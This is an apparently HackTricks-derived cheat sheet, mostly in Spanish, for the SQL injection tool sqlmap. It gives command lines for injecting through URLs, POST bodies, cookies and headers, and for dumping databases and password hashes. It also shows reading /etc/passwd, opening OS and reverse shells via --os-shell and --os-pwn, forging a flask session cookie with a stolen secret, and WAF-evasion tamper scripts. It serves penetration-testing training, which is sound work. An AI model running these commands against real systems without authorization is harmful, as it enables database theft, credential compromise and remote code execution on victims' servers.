13 KiB

SQLMap - Cheatsheet

{{#include ../../../banners/hacktricks-training.md}}

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Recuperar Información

Interno

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

Datos de la base de datos

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Usando SQLMapping es una herramienta práctica que genera comandos y proporciona una visión completa, tanto básica como avanzada, para SQLMap. Incluye ToolTips que explican cada aspecto de la herramienta, detallando cada opción para que puedas mejorar y entender cómo usarla de manera eficiente y efectiva.

Lugar de inyección

Desde la captura de Burp/ZAP

Captura la solicitud y crea un archivo req.txt.

sqlmap -r req.txt --current-user

Inyección de Solicitudes GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Inyección de Solicitud POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Inyecciones en Encabezados y otros Métodos HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indique la cadena cuando la inyección sea exitosa

--string="string_showed_when_TRUE"

Agregar técnica de detección

Si encontraste un SQLi pero sqlmap no lo detectó, puedes forzar la técnica de detección con argumentos como --prefix o --suffix, o si es más complejo, añadiéndolo a los payloads utilizados por sqlmap en /usr/share/sqlmap/data/xml/payloads/time_blind.xml, por ejemplo, para basarse en time blind.

Eval

Sqlmap permite el uso de -e o --eval para procesar cada payload antes de enviarlo con alguna línea de código en python. Esto facilita y acelera el procesamiento de maneras personalizadas del payload antes de enviarlo. En el siguiente ejemplo, la sesión de cookie de flask es firmada por flask con el secreto conocido antes de enviarla:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Leer archivo

--file-read=/etc/passwd

Rastrear un sitio web con SQLmap y auto-explotar

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Inyección de Segundo Orden

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Lee este post sobre cómo realizar inyecciones de segundo orden simples y complejas con sqlmap.

Personalizando la Inyección

Establecer un sufijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar inyección booleana

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Recuerda que puedes crear tu propio tamper en python y es muy simple. Puedes encontrar un ejemplo de tamper en la página de Second Order Injection aquí.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Descripción
apostrophemask.py Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8
apostrophenullencode.py Reemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode
appendnullbyte.py Agrega un carácter de byte NULL codificado al final de la carga útil
base64encode.py Codifica en Base64 todos los caracteres en una carga útil dada
between.py Reemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #'
bluecoat.py Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE
chardoubleencode.py Codifica doblemente todos los caracteres en una carga útil dada (sin procesar los ya codificados)
commalesslimit.py Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.py Reemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.py Reemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Codifica en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados)
charunicodeencode.py Codifica en unicode-url los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022"
charunicodeescape.py Codifica en unicode-url los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022"
equaltolike.py Reemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE'
escapequotes.py Escapa las comillas (' y ")
greatest.py Reemplaza el operador mayor que ('>') con su contraparte 'GREATEST'
halfversionedmorekeywords.py Agrega un comentario de MySQL versionado antes de cada palabra clave
ifnull2ifisnull.py Reemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Envuelve la consulta completa con un comentario versionado
modsecurityzeroversioned.py Envuelve la consulta completa con un comentario de cero versión
multiplespaces.py Agrega múltiples espacios alrededor de las palabras clave SQL
nonrecursivereplacement.py Reemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo (por ejemplo, .replace("SELECT", "")) filtros
percentage.py Agrega un signo de porcentaje ('%') delante de cada carácter
overlongutf8.py Convierte todos los caracteres en una carga útil dada (sin procesar los ya codificados)
randomcase.py Reemplaza cada carácter de palabra clave con un valor de caso aleatorio
randomcomments.py Agrega comentarios aleatorios a las palabras clave SQL
securesphere.py Agrega una cadena especialmente elaborada
sp_password.py Agrega 'sp_password' al final de la carga útil para ofuscación automática de los registros de DBMS
space2comment.py Reemplaza el carácter de espacio (' ') con comentarios
space2dash.py Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una cadena aleatoria y una nueva línea ('\n')
space2hash.py Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n')
space2morehash.py Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n')
space2mssqlblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mssqlhash.py Reemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una nueva línea ('\n')
space2mysqlblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mysqldash.py Reemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una nueva línea ('\n')
space2plus.py Reemplaza el carácter de espacio (' ') con un más ('+')
space2randomblank.py Reemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
symboliclogical.py Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y
unionalltounion.py Reemplaza UNION ALL SELECT con UNION SELECT
unmagicquotes.py Reemplaza el carácter de comillas (') con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final (para que funcione)
uppercase.py Reemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'
varnish.py Agrega un encabezado HTTP 'X-originating-IP'
versionedkeywords.py Envuelve cada palabra clave no funcional con un comentario de MySQL versionado
versionedmorekeywords.py Envuelve cada palabra clave con un comentario de MySQL versionado
xforwardedfor.py Agrega un encabezado HTTP falso 'X-Forwarded-For'

{{#include ../../../banners/hacktricks-training.md}}